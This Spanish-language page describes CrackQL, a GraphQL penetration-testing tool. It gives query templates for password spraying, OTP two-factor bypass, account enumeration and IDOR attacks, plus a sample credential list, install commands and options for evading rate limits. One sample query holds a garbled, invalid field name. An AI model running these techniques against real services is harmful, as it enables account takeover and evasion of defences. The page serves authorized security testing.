CrackQL Herramienta de Pruebas de Penetración GraphQL
CrackQL Herramienta de Pruebas de Penetración GraphQL

CrackQL: Herramienta de Pruebas de Penetración GraphQL

CrackQL es una versátil herramienta de pruebas de penetración GraphQL que explota los deficientes controles de límite de velocidad y análisis de costes para realizar operaciones de fuerza bruta de credenciales y fuzz.

¿Cómo Funciona?

CrackQL funciona agrupando automáticamente una única consulta o mutación GraphQL en varias operaciones de alias. Determina el número de alias a utilizar basándose en las variables de entrada CSV. Después de generar mediante programación el documento GraphQL por lotes, CrackQL procesa por lotes y envía la(s) carga(s) útil(es) – o payloads– a la API GraphQL de destino y analiza los resultados y los errores.

Casos de Uso de Ataques

CrackQL puede utilizarse para una amplia gama de ataques GraphQL, ya que genera mediante programación cargas útiles basadas en una lista de entradas dinámicas.

Defense Evasion (Evasión de defensas)

A diferencia de Burp Intruder, que envía una solicitud por cada carga útil única, CrackQL evade las defensas tradicionales de monitorización de límite de velocidad HTTP de API utilizando múltiples consultas de alias para rellenar grandes conjuntos de credenciales en una única solicitud HTTP. Para eludir las defensas de análisis de costes de consulta, CrackQL puede optimizarse para utilizar una serie de operaciones por lotes más pequeños (-b), así como un retardo de tiempo (-D).

Password Spraying Brute-forcing (Pulverización de contraseñas)

CrackQL es perfecto contra despliegues GraphQL que aprovechan las operaciones de autenticación GraphQL en banda (como el Módulo de Autenticación GraphQL). El siguiente ejemplo de pulverización de contraseñas funciona contra DVGA con el diccionario sample-inputs/users-and-passwords.csv.

sample-queries/login.graphql
mutation {
  login(username: {{username|str}}, password: {{password|str}}) {
    accessToken
  }
}

Anulación de la autenticación de dos factores OTP

Es posible utilizar CrackQL para eludir la autenticación de dos factores mediante el envío de todos los tokens OTP (One Time Password)

sample-queries/otp-bypass.graphql
mutation {
  twoFactor(otp: {{otp|int}}) {
    accessToken
  }
}

User Account Enumeration (Enumeración de Cuentas de Usuario)

CrackQL también se puede utilizar para ataques de enumeración para descubrir ids de usuario válidos, nombres de usuario y direcciones de correo electrónico

sample-queries/enumeration.graphql
query {
  wp-signup.php(email: {{email|str}}, password: {{password|str}}) {
    user {
      email
    }
  }
}

Insecure Direct Object Reference (La referencia de objeto directo inseguro)

CrackQL también puede utilizarse para ataques de enumeración con el fin de descubrir identificadores de usuario, nombres de usuario y direcciones de correo electrónico válidos.

sample-queries/idor.graphql
query {
  profile(uuid: {{uuid|int}}) {
    name
    email
    picture
  }
}

Fuzzing General

CrackQL puede utilizarse para operaciones generales de fuzzing de entrada, como el envío de potenciales cargas útiles SQLi y XSS.

Entradas

CrackQL generará cargas útiles basadas en variables de entrada definidas por un archivo CSV. CrackQL requiere que la cabecera (header) CSV coincida con el nombre de entrada.

sample-inputs/usernames_and_passwords.csv
username, password
admin, admin
admin, password
admin, pass
admin, pass123
admin, password123
operator, operator
operator, password
operator, pass
operator, pass123
operator, password123

Tipos de entrada válidos:

  • str
  • int
  • float

Instalación

Requisitos

  • Python3
  • Requests
  • GraphQL
  • Jinja

Clonar repositorio:

git clone https://github.com/nicholasaleks/CrackQL.git
cd CrackQL/

Obtener dependencias:

pip install -r requirements.txt

Ejecutar CrackQL:

Opciones de uso de CrackQL
Opciones de uso de CrackQL
python3 CrackQL.py -h
Usage: python3 CrackQL.py -t http://example.com/graphql -q sample-queries/login.graphql -i sample-inputs/usernames_and_passwords.csv

Options:
  -h, --help            show this help message and exit
  -t URL, --target=URL  Target url with a path to the GraphQL endpoint
  -q QUERY, --query=QUERY
                        Input query or mutation operation with variable
                        payload markers
  -i INPUT_CSV, --input-csv=INPUT_CSV
                        Path to a csv list of arguments (i.e. usernames,
                        emails, ids, passwords, otp_tokens, etc.)
  -d DELIMITER, --delimiter=DELIMITER
                        CSV input delimiter (default: ",")
  -o OUTPUT_DIRECTORY, --output-directory=OUTPUT_DIRECTORY
                        Output directory to store results (default:
                        ./results/[domain]_[uuid]/
  -b BATCH_SIZE, --batch-size=BATCH_SIZE
                        Number of batch operations per GraphQL document
                        request (default: 100)
  -D DELAY, --delay=DELAY
                        Time delay in seconds between batch requests (default:
                        0)
  --verbose             Prints out verbose messaging
  -v, --version         Print out the current version and exit.

Configuración

Utiliza config.py para establecer cookies HTTP, cabeceras o proxies si el endpoint requiere autenticación.

My Cart Close (×)

Tu carrito está vacío
Ver tienda